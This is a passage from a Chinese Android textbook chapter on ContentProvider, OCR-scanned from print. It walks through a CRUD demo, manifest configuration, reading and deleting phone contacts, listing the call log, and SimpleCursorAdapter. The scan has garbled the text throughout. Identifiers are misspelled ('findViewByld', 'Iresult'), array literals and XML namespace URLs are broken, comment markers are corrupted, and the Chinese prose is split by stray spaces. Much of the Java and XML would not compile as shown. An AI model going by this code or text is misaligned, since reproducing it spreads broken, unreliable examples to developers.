this.deleteBut = (Button) super .findViewById(R.id.deleteBut) ; 
this.queryBut = (Button) super findViewByIld(R.id.queryBut) ; 
this.mainlnfo = (TextView) super .findViewByld(R.id.maininfo) ; 
this.insertBut.setOnClickListener(new InsertOnClickListener()) ;  // 单 击 事件 操作 
this.updateBut.setOnClickListener(new UpdateOnClickListener()) ; // 单 击 事件 操作 
this.deleteBut.setOnClickListener(new DeleteOnClickListener()) ; ”// 单 击 事件 操作 
this.queryBut.setOnClickListener(new QueryOnClickListener()) ; ”// 单 击 事件 操作 
} 
private class InsertOnClickListener implements OnClickListener { // 增 加 按钮 的 单 击 事件 
@Override 
public void onClick(View view) { 
MyContentProviderDemo.this.mainInfo. 
setText(" 执 行 的 是 增加 操作 .…"); /设置 显示 文字 
longid=0; // 保 存 接收 ID 
try{ 
id = MyContentProviderDemo.this.testInsert(" 李 兴 华 ",30， 
new SimpleDateFormat("yyyy-MM-dd"). 
format(new Date())) ; // 增 加 数据 
}catch (Exception e){ 
e.printStackTrace(); 
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y 
Toast.makeText(MyContentProviderDemo.this, "数据 增加 成 功 ，ID 为 : "+ id， 
ToastLENGTH_LONG).show(); /信息 提示 
} 
} 
private class UpdateOnClickListener implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyContentProviderDemo.this.mainlnfo. 
setText(" 执 行 的 是 修改 操作 .…"); // 显 示 文字 
long result = 0; // 更 新 记录 
try{ 
result = MyContentProviderDemo.this.testUpdate("13", "李兴华 ", 18， 
"1989-09-19"); // 更 新 数据 
} catch (Exception e) { 
e.printStackTrace(); 
Toast.makeText(MyContentProviderDemo.this, "更 新 了 " + result + "条 记录 ! "， 
Toast.LENGTH_LONG).show(); // 信 息 提 示 
} 
} 
private class DeleteOnClickListener implements OnClickListener { 
@Override 
public void onClick(View view) { 
MyContentProviderDemo.this.mainlnfo. 
setText( "执行 的 是 删除 操作 …”); /显示 文字 
long result = 0; // 更 新 记录 
try{ 
result = MyContentProviderDemo. 
this.testDelete("4") ; 1/ 删除 数据 
}catch (Exception e) { 
e.printStackTrace(); 
Toast.makeText(MyContentProviderDemo.this, "删除 了 " + result + "条 记录 ! 
Toast.LENGTH_LONG).show(); 1// 信 息 提示 
} 
} 
private class QueryOnClickListener implements OnClickListener { 
@Override 


public void onClick(View arg0) { 
MyContentProviderDemo.this.mainInfo. 


setText(" 执 行 的 是 查询 操作 -…); /显示 文字 
Cursor result = null ; // 结 果 集 
try{ 
result = MyContentProviderDemo. 
this.testQuery(null); // 查 询 全 部 数据 
}catch (Exception e){ 
e.printStackTrace(); 


b 
MyContentProviderDemo.this. 
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startManagingCursor(result) ; /Cursor 交 由 系统 管理 
List<Map<String, Object>> members = null ; /用 于 设置 SimpleAdapter 
members = new ArrayList<Map<String, Object>>(); /实例 化 List 集合 
for (result.moveToFirst(); Iresult.isAfterLast(); result 


.moveToNext()) { // 循 环 取 数 据 
Map<String, Object> member = new HashMap<String, Object>(); 
member.put("_id", result.getInt(0)) ; // 设 置 一 行 的 _id 内 容 
member.put("name", result.getString(1)) ; // 设 置 一 行 的 name 内 容 
member.put("age",result.getInt(2)) ; // 设 置 一 行 的 age 内 容 
member.put("birthday", result.getString(3)); 。“// 设 置 一 行 的 birthday 内 容 
members.add(member) ; /保存 Map 


MyContentProviderDemo.this.membersList 
.setAdapter(new SimpleAdapter( 
MyContentProviderDemo.this, // 将 数据 包装 


members, /数据 集合 
R.layout.member, // 显 示 的 布局 管理 器 
new String] {"_i 


"age", "birthday" }， // 匹 配 的 Map 集合 的 key 
new in 名 { R.id._id, R.id.name, R.id.age, 
R.id.birthday}); 。”// 显 示 数据 
Toast.makeText(MyContentProviderDemo.this, "数据 查询 成 功 ! "， 
Toast.LENGTH_LONG).show(); /信息 提示 


} 


最 后 的 方法 是 onCreate0， 由 于 所 有 的 按钮 都 需要 对 应 一 个 事件 的 实现 类 ， 所 以 对 于 数据 表 
的 4 种 操作 (CRUD， 增 、 删 、 改 、 查 ) ， 代 码 的 编写 较 长 ， 而 最 麻烦 的 就 是 查询 操作 。 考 虑 到 
数据 的 显示 格式 ， 所 以 查询 数据 是 以 ListView 的 形式 进行 列表 显示 的 ， 同 时 使 用 了 操作 类 
SimpleAdapter 完成 数据 封装 ， 每 次 不 同 的 按钮 执行 完 操作 后 都 会 使 用 Toast 组 件 显示 提示 信息 。 

但 是 , 要 想 正常 地 完成 ContentProvider 程序 的 调用 , 还 需要 在 项 目 中 的 AndroidManifestxml 
文件 中 对 ContentProvider 进行 配置 ， 配 置 代码 如 下 。 

【 例 8-59】 修改 AndroidManifest.xml 文件 ， 配 置 ContentProvider 应 用 
<?xml version="1.0" encoding="utf-8"?> 
<manifest xmIns:android="http://schemas.android.com/apk/res/android" 


package="org./xh.demo” // 程 序 的 包 名 称 
android:versionCode="1" /| 版 本 号 
android:versionName="1.0"> // 显 示 给 用 户 的 信息 
<application // 配 置 应 用 程序 
android:icon="@drawable/icon”" // 程 序 图 标 
android:label="@string/app_name”> // 显 示 文 字 
<provider // 配 置 ContentProvider 
android:name=".MemberContentProvider” // 程 序 类 
android:authorities= //Authorities 路 径 
"org.Ixh.demo.membercontentprovider"|>// 与 元 数据 接口 对 应 , 为 Uri 的 一 部 分 
<activity // 定 义 Activity 程序 
android:name="/MyContentProviderDemo” ”lActivity 程序 类 
android:label="@string/app_name”> /显示 文字 
<intent-filter> // 系 统 启动 时 运行 
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<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 
</activity> 
</application> 
<uses-sdk android:minSdkVersion="10" /> // 程 序 运行 的 最 低 版 本 编号 
</manifest> 
在 AndroidManifest.xml 文件 中 配置 了 <provider> 节 点 ， 其 中 ，android:name 为 程序 类 名 称 ， 
与 <manifest> 节 点 中 的 package 属性 组 合成 ContentProvider 所 在 的 “ 包 . 类 ” (org.lxh.demo. 
MyContentProviderDemo) ， 而 后 配置 的 android:authorities 属性 与 MLDNDatabaseMetaData 接口 
中 配置 的 AUTHORITY 全 局 常量 一 致 ， 为 以 后 访问 此 ContentProvider 程序 的 Uri 的 组 成 部 分 。 
本 程序 开发 完成 之 后 ， 查 询 的 操作 效果 如 图 8-40 所 示 。 


数据 查询 成 功 ! 


图 8-40 数据 的 列表 显示 


下 
如 果 表 没有 重新 建立 ， 则 可 以 先 删 除 。 
不 管 是 否 通过 ContentProvider 进行 项 目的 发 布 , 最 终 都 是 要 将 数据 保存 在 数据 表 中 ， 而 如 
果 表 不 存在 ， 则 会 为 用 户 自动 建立 ， 可 是 用 户 在 执行 程序 时 ， 也 有 可 能 出 现 以 下 的 错误 提示 : 
android.database.sqlite. SQLiteException: no such table... 
以 上 错误 提示 表示 没有 找到 匹配 的 表 ， 即 如 果 数 据 库 文件 存在 ， 则 表 不 会 再 自动 建立 。 
此 时 可 以 采用 以 下 方式 处 理 。 
(1) 进入 SHELL。 执 行 adb shell 命令 。 
(2 ) 删除 数据 库 文 件 。 执 行 rm data/data/org.lxh.demo/databases/mldn.db 命令 。 
经 过 这 样 的 处 理 之 后 ， 下 次 再 执行 程序 时 就 可 以 重新 建立 数据 库 及 数据 表 了 。 
也 可 以 直接 修改 MLDNDatabaseMetaData.java 程序 中 的 版 本 号 (Private static final int 
DATABASEVERSION =2;). 


至 此 ， 一 个 基本 的 ContentProvider 应 用 程序 已 经 开发 完成 ， 可 能 有 些 读 者 会 觉得 此 程序 实 
在 是 太 过 于 复杂 ， 开 发 难度 太 大 。 就 如 本 节 开 始 所 说 ， 在 实际 的 开发 中 ， 用 户 很 少 有 直接 去 开 
发 ContentProvider 程序 的 机 会 ， 大 部 分 情况 都 是 调用 系统 已 有 的 ContentProvider 应 用 ， 所 以 ， 
读者 的 重点 应 该 放 在 后 面部 分 。 
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8.4.3 操作 联系 人 的 ContentProvider 


在 Android 中 ， 为 了 方便 用 户 进行 各 个 应 用 程序 的 操作 ， 专 门 提供 了 许多 ContentProvider， 
这 些 ContentProvider 都 在 android.provider 包 中 ， 例 如 ， 进 行 联系 人 的 操作 (android.provider. 
ContactsContract ) 、 多 媒体 文件 的 操作 (android.provider.MediaStore.Files ) 等 都 由 相关 的 
ContentProvider 提供 ， 下 面 通 过 取得 联系 人 手机 号 码 的 程序 ， 演 示 系 统 ContentProvider 的 使 用 。 

通过 之 前 自 定义 的 ContentProvider 程序 可 以 发 现 ， 要 想 进行 ContentProvider 程序 的 访问 ， 则 
肯定 需要 一 个 CONTENT_URI 常量 , 而 该 常量 在 android.provider.ContactsContract.Contacts 类 中 就 
有 定义 ， 访 问 联系 人 的 CONTENT _URI 常量 名 称 为 ContactsContract.Contacts.CONTENT _URI。 

由 于 在 Contacts 中 保存 的 数据 列 较 多 ， 所 以 本 程序 为 了 方便 只 读 取 了 两 个 内 容 。 

回 人 员 ID: ContactsContract.Contacts. ID。 

人 员 姓 名 : ContactsContract.Contacts.DISPLAY_NAME。 

由 于 每 个 用 户 有 多 种 电话 〈 如 座机 、 手 机 等 ) ， 所 以 本 次 操作 只 取出 用 户 的 全 部 手机 信息 ， 
而 访问 用 户 所 有 手机 信息 的 CONTENT _URI 为 : ContactsContract.CommonDataKinds.Phone. 
CONTENT URI. 

而 要 想 取得 某 一 个 用 户 的 电话 信息 和 保存 的 内 容 ， 则 需要 以 下 两 个 内 容 。 

加 手机 号 码 : ContactsContract.CommonDataKinds.Phone NUMBER。 

回 所 属 联系 人 ID: ContactsContract.CommonDataKinds.Phone.CONTACT ID。 

本 程序 为 了 开发 简便 , 将 首先 采用 ListView 显示 所 有 已 保存 联系 人 的 ID 和 姓名 , 之 后 利用 

上 下 文 菜单 的 查看 功能 ， 查 看 每 一 位 联系 人 的 手机 号 码 ， 为 了 方便 ， 所 有 的 手机 号 码 通 过 Toast 
组 件 显 示 。 
了 /提示 

本 操作 只 显示 用 户 的 手机 号 码 。 

使 用 过 Android 手机 的 读者 应 该 清楚 , 在 添加 联系 人 时 , 一 个 联系 人 会 有 多 种 联系 方式 ， 
如 手机 、 住 宅 电 话 、 办 公 电 话 等 ， 这 些 都 由 相应 的 ContentProvider 提供 操作 ， 本 程序 只 是 列 
出 了 一 个 用 户 的 全 部 手机 信息 ， 而 其 他 的 信息 ， 读 者 可 以 自行 研究 。 


【 例 8-60】 定义 应 用 程序 的 布局 管理 器 一 一 main.xml 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 采 用 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_ parent"> /组件 高 度 为 屏幕 高 度 
<TextView /文本 显示 组 件 

android:id="@+id/mainlnfo”" 1/ 组件 ID， 程 序 中 使 用 
android:textSize="20px” /设置 显示 的 文字 大 小 
android:layout_width="fil_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text= "天 胃 必 入 人 列 责 /> /| 默认 显示 文字 
<ListView // 列 表 显 示 组 件 
android:id="@+id/contactsList” /组 件 ID， 程 序 中 使 用 
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android:layout_width="wrap_content” 1/ 组件 宽 度 为 显示 的 内 容 宽度 

android:layout_height="wrap_content”" > 1/ 组 件 高 度 为 显示 的 内 容 高 度 
</ListView> // 完 结 标记 
</LinearLayout> // 完 结 标 记 


在 本 布局 管理 器 中 , 定义 了 一 个 ListView 组 件 ， 此 组 件 将 用 于 显示 所 有 联系 人 的 姓名 信息 ， 
于 本 程序 使 用 了 ListView 显示 数据 ,所 以 要 使 用 SimpleAdapter 类 封装 全 部 的 数据 , 则 还 需要 
-个 显示 数据 的 布局 管理 器 。 

【 例 8-61】 定义 数据 列表 显示 的 布局 管理 器 一 一 contacts.xml 


<?xml version="1.0" encoding="utf-8"?> 


<TableLayout // 表 格 布局 管理 器 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
xmlns:android= "http:Vschemas.android.comyapkresanaroid” 
android:layout_height="wrap_content> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TableRow> /定义 表格 行 

<TextView // 文 本 显示 组 件 
android:id="@+id/_id" // 组 件 ID， 程 序 中 使 用 
android:textSize="15px” /文字 大 小 
android:layout_height="wrap_content”" // 组 件 高 度 为 文字 高 度 
android:layout_width="60px'> // 组 件 宽度 为 60 像素 

</TextView> // 完 结 标记 

<TextView // 文 本 显示 组 件 
android:id="@+id/name” // 组 件 ID， 程 序 中 使 用 
android:textSize="15px" /文字 大 小 
android:layout_height="wrap_content”" // 组 件 高 度 为 文字 高 度 
android:layout_width="300px"> // 组 件 宽度 为 180 像素 

</TextView> /完结 标记 
</TableRow> /完结 标记 
</TableLayout> /完结 标记 


本 布局 管理 器 采用 表格 形式 进行 显示 ， 每 行 数据 显示 的 是 联系 人 的 _id 和 name 信息 。 
【 例 8-62】 定义 Activity 程序 ， 完 成 联系 人 的 ContentProvider 操作 

package org.Ixh.demo; 

import java.util.ArrayList; 

import java.util.HashMap; 

import java.util.List; 

import java.util.Map; 

import android.app.Activity; 

import android.database.Cursor; 

import android.net.Uri; 

import android.os.Bundle; 

import android.provider.ContactsContract; 

import android.view.ContextMenu; 

import android.view.Menyu; 

import android.view.Menultem; 

import android.view.View; 

import android.widget.AdapterView; 

import android.widget.ListView; 

import android.widget.SimpleAdapter 

import android.widget. Toast; 

public class ContactsDemo extends Activity { 
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private ListView contactList = null ; 


private Cursor result = null ; // 全 部 联系 人 
private List<Map<String, Object>> allContacts = null ; /联系 人 数据 
private SimpleAdapter simple = null ; /联系 人 信息 


本 程序 将 设置 联系 人 列表 的 List 集合 allContacts 以 及 集合 中 的 数据 封装 类 (SimpleAdapter) 
设置 成 了 类 中 的 属性 ， 主 要 目的 是 在 以 后 删除 联系 人 时 可 以 及 时 地 将 列表 中 的 信息 删除 。 

@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 

super.setContentView(R.layout.main); // 调 用 布局 管理 器 

this.contactList = (ListView) super .findViewByld(R.id.contactsList) ; 

this.result = super.getContentResolver().query( 

ContactsContract.Contacts.CONTENT_URI, 


null, null null, null); // 执 行 查询 操作 
this.startManagingCursor(result) ; //Cursor 交 由 系统 管理 
this.allContacts = new ArrayList<Map<String, Object>>(); /实例 化 List 集合 
for (result.moveToFirst(); Iresult.isAfterLast(); result 

.moveToNext()) { /循环 取 数据 


Map<String, Object> contact = new HashMap<String, Object>(); 

contact.put("_id", result.getlnt(result.getColumnlndex( 
ContactsContract.Contacts._/D))); /设置 一 行 的 _id 内 容 

contact.put("name", result.getString(result.getColumnlndex( 
ContactsContract.Contacts.DISPLAY_NAME))); /设置 一 行 的 name 内 容 


this.allContacts.add(contact) ; /保存 Map 

} 

this.simple = new SimpleAdapter( 
this, // 将 数据 包装 
allContacts, /数据 集合 
R.layout.contacts, /显示 的 布局 管理 器 
new String[] { "_id", "name"}, /匹配 的 Map 集合 的 key 
new intl] { R.id._id, R.id.name)) ; // 设 置 显示 数据 

this.contactList.setAdapter(this.simple); /显示 数据 

super.registerForContextMenu(this.contactList) ; /1/ 注 册 上 下 文 菜单 


} 

程序 中 onCreate() 方 法 的 功能 是 进行 用 户 信息 的 列表 显示 ， 所 以 首先 根据 指定 联系 人 的 
CONTENT_URI 将 全 部 联系 人 信息 的 查询 结果 取出 ， 随 后 采用 循环 的 方式 将 数据 保存 在 List 集 
合 allContacts 中 ， 最 后 利用 SimpleAdapter 封装 全 部 的 数据 并 将 其 设置 在 ListView 组 件 中 显示 。 


@Override 
public void onCreateContextMenu(ContextMenu menu, View v, 
ContextMenu.ContextMenulnfo menulnfo) { /显示 菜单 
Super.onCreateContextMenu(menu, v, menulnfo) ; 
menu.setHeaderTitle(" 联 系 人 操作 ") ; 1/ 设置 显示 信息 头 
menu.add(Menu.NONE, Menu.FIRST+ 1, 1, "查看 详情 "); /设置 菜单 项 
menu.add(Menu.NONE, Menu.FIRST+ 2, 1, "删除 信息 "); /设置 菜单 项 


} 
本 程序 采用 上 下 文 菜单 的 形式 操作 ListView 集合 中 的 内 容 ， 所 以 在 onCreateContextMenu() 
方法 中 增加 了 “查看 详情 ”和 “删除 信息 ”菜单 项 。 
@Override 
public boolean onContextltemSelected(Menultem item) { // 选 中 某 个 菜单 项 
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AdapterView.AdapterContextMenulnfo info = (AdapterView.AdapterContextMenulnfo) 


item.getMenulnfo(); 1// 取 得 菜单 项 
int position = info.position ; // 取 得 操作 的 ID 
long contactsld = Long.parseLong(this.allContacts.get(position) 
.get("_id").toString()); // 取 得 数据 ID 
Switch (item.getltemld()) { /判断 菜单 项 ID 
case Menu.FIRST+ 1: // 查 看 详情 
String phoneSelection = ContactsContract.CommonDataKinds.Phone.CONTACT ID 
Hs // 设 置 查询 条 件 


String[] phoneSelectionArgs = { String.value Of(contactsld) }; // 查 询 参 数 

Cursor c = super.getContentResolver().query( 
ContactsContract.CommonDataKinds.Phone.CONTENT_UR)/, null, 
phoneSelection, phoneSelectionArgs, null); 。 // 查 询 全 部 手机 号 码 

StringBuffer buf = new StringBuffer() ; /用 于 接收 全 部 电话 

buf.append(" 电 话 号 码 是 : ") ; 

for (c.moveToFirst(); Ic.isAfterLast(); c.moveToNext()){ // 循 环 取 数 据 

buf.append(c.getString(c.getColumnlndex( 
ContactsContract.CommonDataKinds.Phone.NUMBER))) 


.append("、"); // 取 出 电话 号 码 
} 
Toast.make Text(this, buf, Toast.LENGTH_LONG).show(); /显示 信息 
break.; 
case Menu.FIRST + 2: 


super.getContentResolver().delete( 
Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_URI, 
String.valueOfcontactsld)), null null);// 根 据 ID 删除 


this.allContacts.remove(position) ; 1/ 删 除数 据 项 
this.simple.notifyDataSetChanged() ; /更 新 列表 项 
Toast.makeText(this, "数据 已 删除 ! ", ToastLENGTH_LONG).show(); 
break.; 


} 


return false; 

j } 

程序 中 onContextItemSelected() 方 法 的 主要 功能 是 进行 上 下 文 菜单 的 操作 处 理 ， 但 是 在 进行 
处 理 之 前 ， 必 须 取得 数据 对 应 的 _ID 信息 才 可 以 完成 查看 或 删除 操作 ， 所 以 首先 使 用 item. 
getMenuInfo() 方 法 取得 了 菜单 项 中 的 内 容 , 随后 根据 position 从 allContacts 集合 中 取出 要 操作 的 
联系 人 的 _ID 内 容 ， 当 进行 信息 显示 时 ， 将 根据 此 ID 从 手机 的 ContentProvider 中 查询 全 部 通讯 
信息 显示 给 用 户 ， 而 如 果 进 行 删除 操作 ， 则 从 联系 人 的 ContentProvider 中 删除 信息 ， 删 除 之 后 ， 
为 了 保证 列表 显示 的 同步 ， 同 时 将 更 新 SimpleAdapter 类 的 对 象 信息 。 

由 于 此 时 操作 的 ContentProvider 属于 外 部 的 资源 操作 , 所 以 本 程序 还 需要 对 使 用 进行 授权 ， 
修改 项 目 中 的 AndroidManifestxml 文件 ， 增 加 如 下 配置 信息 : 

<uses-permission android:name="android.permission.READ_CONTACTS"/> 

<uses-permission android:name="android.permission.WRITE_CONTACTS"/> 

此 处 表示 的 是 允许 对 联系 人 的 信息 进行 读 取 或 者 是 写 入 的 操作 。 

【 例 8-63】 修改 后 的 AndroidManifest.xml 文件 
<?xml version="1.0" encoding="utf-8"?> 
<manifest 
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xmlns:android= "http:Vschemas.android .comyapHkresanaroid” 


package="org.Ixh.demo" /程序 所 在 的 包 名 称 
android:versionCode="1" /版 本 号 
android:versionName="1.0> /显示 给 用 户 的 信息 
<application /配置 应 用 程序 
android:icon="@drawable/icon”" // 程 序 图 标 
android:label="@string/app_name"> /显示 文字 
<activity /定义 Activity 程序 
android:name="MyContentProviderDemo”" JWActivity 程序 类 
android:label='"@strng/app_name'> /显示 文字 
<intent-filter> /系统 启动 时 运行 


<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 


</activity> 
</application> 
<uses-sdk android:minSdkVersion="10" /> // 程 序 运行 的 最 低 版 本 编号 
<uses-permission /用 户 授权 
android:name="android.permission.READ_CONTACTS"> ”1// 读 取 联 系 人 权限 
<uses-permission /用 户 授权 
android:name="android.permission.WRITE_CONTACTS"> /修改 联系 人 权限 
</manifest> 
得 序 的 运行 效果 如 图 8-41 所 示 ， 考 虑 到 版 面 问题 ， 该 图 完成 的 只 是 显示 用 户 电话 的 操作 。 


CEERI EE =15jx) 


Contentprovider 开 性 


图 8-41 查看 联系 人 的 于 机 号 码 
8.4.4 操作 通讯 记录 的 ContentProvider 


以 上 代码 演示 了 如 何 操作 联系 人 的 ContentProvider， 下 面 编 写 一 个 操作 通讯 记录 的 
ContentProvider 程序 。 当 用 户 拨打 、 接 听 电 话 时 ， 都 会 在 手机 中 保留 有 相应 的 通讯 记录 ， 而 在 
Android 系统 中 ， 要 想 取 得 这 些 通讯 记录 的 信息 ， 可 以 直接 使 用 android.provider.CallLog 和 
android.provider.CallLog.Calls 类 完成 操作 ， 而 要 想 访 问 通 讯 记录 ， 则 继续 使 用 CallLog 类 中 的 
CONTENT 常量 ， 此 常量 定义 为 : CallLog.Calls.CONTENT _URI。 

于 CallLog 类 而 言 ， 用 户 也 同样 需要 使 用 以 下 几 个 常量 取得 通讯 记录 所 包含 的 信息 。 

回 通讯 记录 ID: CallLog.Calls. ID。 

回 呼叫 的 电话 号 码 : CallLog.CallsNUMBER。 

回 与 通讯 录 中 电话 匹配 的 姓名 : CallLog.CallsCACHED NAME。 

回 呼叫 类 型 : CallLog.Calls.TYPE。 呼 叫 类 型 有 3 种 状态 ， 在 CallLog.Calls 类 中 有 对 应 的 
常量 ， 介 绍 如 下 。 


下 


> 拨 出 (outgoing) : public static final int OUTGOING _ TYPE。 


部 
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> 拨 入 (incoming) : public static final int INCOMING TYPE. 
> 未 接 (missed) : public static final int MISSED TYPE。 
回 通话 时 间 : CallLog.CallsDURATION。 
下 面 通过 代码 演示 本 操作 的 实现 。 为 了 节约 代码 空间 ， 
码 ， 而 相应 的 其 他 操作 ， 读 者 可 以 自行 完成 。 
【 例 8-64】 定义 ListView 显示 文件 一 一 calls.xml 
<?xml version= "1.0" encoding="utf-8"?> 
<TableLayout // 表 格 布局 管理 器 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:layout_height="wrap_content”> // 布 局 管理 器 高 度 为 内 容 显示 高 度 


只 列 出 显示 全 部 通讯 记录 的 操作 代 


<TableRow> // 定 义 表格 行 
<TextView // 文 本 显示 组 件 
android:id="@+id/_id" // 组 件 ID， 程 序 中 使 用 
android:textSize="20px” /文字 大 小 
android:layout_height="wrap_content”" // 组 件 高 度 为 文字 高 度 
android:layout_width="30px"/> // 组 件 宽度 为 30 像素 
<TextView // 文 本 显示 组 件 


android:id="@+id/name”" 

android:textSize="20px”" 

android:layout_height="wrap_content” 

android:layout_width="180px"/> 
<TextView 

android:id="@+id/number” 

android:textSize="20px”" 


// 组 件 ID， 程 序 中 使 用 
// 文 字 大 小 

// 组 件 高 度 为 文字 高 度 
// 组 件 宽度 为 30 像素 
// 文 本 显示 组 件 

// 组 件 ID， 程 序 中 使 用 
// 文 字 大 小 


android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:layout_width="180px"> // 组 件 宽度 为 30 像素 
</TableRow> 
</TableLayout> 


本 布局 管理 器 依然 只 为 ListView 组 件 服务 ， 通 过 程序 可 以 发 现 ， 本 程序 主要 显示 通讯 记录 
的 3 个 内 容 记录 : ID (id) 、 联 系 人 姓名 (name) 和 电话 Cnumber) 。 
【 例 8-65】 定义 主体 布局 管理 器 一 一 main .xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 


android:orientation="Vertica/” /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<ListView /定义 ListView 组 件 


// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 显示 的 内 容 宽 度 
// 组 件 高 度 为 显示 的 内 容 高 度 


android:id="@+id/callList" 
android:layout_width="wrap_content”" 
android:layout_height= "wrap_content > 
</ListView> 
</LinearLayout> 
【 例 8-66】 定义 Activity 程序 ， 读 取 通 讯 记录 信息 

package org.Ixh.demo; 

import java.util.ArrayList; 

import java.util.HashMap; 
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import java.util.List; 

import java.util.Map; 

import android.app.Activity; 

import android.database.Cursor; 

import android.os.Bundle; 

import android.provider.CallLog:; 

import android.widget.ListView; 

import android.widget.SimpleAdapter 

public class MyContentProviderDemo extends Activity { 


private ListView callList = null ; /定义 ListView 组 件 
private Cursor result = null ; // 全 部 联系 人 
private List<Map<String, Object>> allCalls = null ; /用 于 设置 SimpleAdapter 
private SimpleAdapter simple = null ; /联系 人 信息 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.callList = (ListView) super.findViewByld(R.id.callList) ; 
this.result = super.getContentResolver().query( 
CallLog.Calls.CONTENT_URI, // 操 作 的 URI 
null, null, null, null); // 执 行 查询 操作 
this.startManagingCursor(result) ; /Cursor 交 由 系统 管理 
this.allCalls = new ArrayList<Map<String, Object>>(); /实例 化 List 集合 
for (result.moveToFirst(); IresultisAfterLast(); result 
.moveToNext()) { // 循 环 取 数 据 


Map<String, Object> contact = new HashMap<String, Object>(); 
contact.put("_id", result.getlnt(result.getColumnlndex( 

CallLog.Calls._/D))); // 设 置 一 行 的 _id 内 容 
String nameTemp = result.getString(result.getColumnlndex( 


CallLog.Calls.CACHED_NAME)) ; // 取 出 相 匹 配 的 联系 人 姓名 
if(nameTemp == null || "".equals(nameTemp)) { 
nameTemp = "未 知 " ; // 设 置 姓 名 的 内 容 


} 


contact.put("name", nameTemp); // 设 置 一 行 的 name 内 容 
contact.put("number", result.getString(result.getColumnlndex( 
CallLog.Calls.NUMBER))); /设置 一 行 的 number 内 容 


this.allCalls.add(contact) ; /保存 Map 

} 

this.simple = new SimpleAdapter( 
this, // 将 数据 包装 
allCalls, // 数 据 集合 
R.layout.calls, // 显 示 的 布局 管理 器 
new String[] { "_id", "name", "number" }, // 匹 配 的 Map 集合 的 key 
new int] { R.id._id, R.id.name, R.id.number )); // 设 置 显示 数据 

this.callList.setAdapter(this.simple); // 显 示 数 据 


} 
} 


【 例 8-67】 修改 AndroidManifest.xml 文件 配置 权限 
<Uses-permission android:name="android.permission.READ_CONTACTS"/> 
本 程序 首先 通过 指定 的 URI (CallLog.Calls.CONTENT_URI) 取得 全 部 的 查询 结果 ,之 后 将 
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每 一 个 查询 结果 设置 到 ListView 中 进行 显示 ， 程 序 的 运行 效果 如 图 8-42 所 示 。 
Ed| 


图 8-42 查询 通讯 记录 
8.4.5 SimpleCursorAdapter 


在 之 前 所 讲解 的 列表 显示 操作 中 ， 所 有 的 ListView 显示 数据 都 是 通过 SimpleAdapter 类 手工 
地 设置 了 所 有 Cursor 返回 的 数据 ， 这 种 做 法 比较 麻烦 ， 而 且 在 很 多 情况 下 也 都 需要 将 数据 库 中 查 
询 的 数据 通过 ListView 进行 显示 , 而 且 所 有 的 操作 都 需要 用 户 将 所 有 的 查询 结果 的 Cursor 对 象 数 
据 封装 成 List 集合 返回 (如 之 前 的 SQLite 基本 操作 所 讲解 的 那样 ) ， 但 是 使 用 到 了 ContentProvider 
组 件 中 ， 所 有 的 查询 结果 都 直接 通过 Cursor 返回 ， 这 样 用 户 就 必须 处 理 Cursor 的 操作 ， 这 样 的 代码 
既 费 事 又 不 方便 维护 。 为 了 解决 该 问题 ， 在 Android 中 专门 提供 了 一 个 SimpleCursorAdapter 类 ， 此 
类 可 以 直接 将 Cursor 对 象 进行 封装 , 并 将 其 中 的 数据 按照 指定 的 布局 格式 列 出 。SimpleCursorAdapter 
类 的 继承 结构 如 下 : 

java.lang.Object 


b android.widget.BaseAdapter 
b android.widget.CursorAdapter 
b android.widget.ResourceCursorAdapter 


b android.widget.SimpleCursorAdapter 
android.widget.SimpleCursorAdapter 类 的 常用 方法 如 表 8-27 所 示 。 
表 8-27 SimpleCursorAdapter 类 的 常用 方法 
No. 方 ” 法 描述 
public Se ontext context, int layout, 传 入 Cursor 并 实例 化 


Semple une ursorAdapter 对 象 


public CharSequence convertToString(Cursor cursor | 将 结 果 字符 串 


下 面 使 用 SimpleCursorAdapter 类 完成 ListView 数据 的 设 置 . 本 程序 的 布局 管理 器 和 ListView 

的 布局 管理 器 依然 使 用 8.4.4 节 读 取 通 讯 记 录 的 操作 程序 
【 例 8-68】 修改 MyContentProviderDemo 类 ， 使 用 SimpleCursorAdapter 类 显示 数据 

package org.Ixh.demo; 

import android.app.Activity; 

import android.database.Cursor'; 

import android.os.Bundle; 

import android.provider.CallLog; 

import android.widget.ListAdapter; 
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import android.widget.ListView; 
import android.widget.SimpleCursorAdapter; 
public class MyContentProviderDemo extends Activity { 


private ListView callList = null ; /定义 ListView 
private Cursor result = null ; // 全 部 联系 人 
private ListAdapter listAdapter = null ; /联系 人 信息 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.callList = (ListView) super .findViewByld(R.id.callList) ; 
this.result = super.getContentResolver().query( 
CallLog.Calls.CONTENT_URI, // 操 作 的 URI 地 址 
null, null, null, null); // 执 行 查询 操作 
this.startManagingCursor(result) ; /Cursor 交 由 系统 管理 
String[] columns ={ CallLog.Calls._/D, CallLog.Calls.CACHED_NAME, 


CallLog.Calls.NUMBER }; /定义 显示 列 
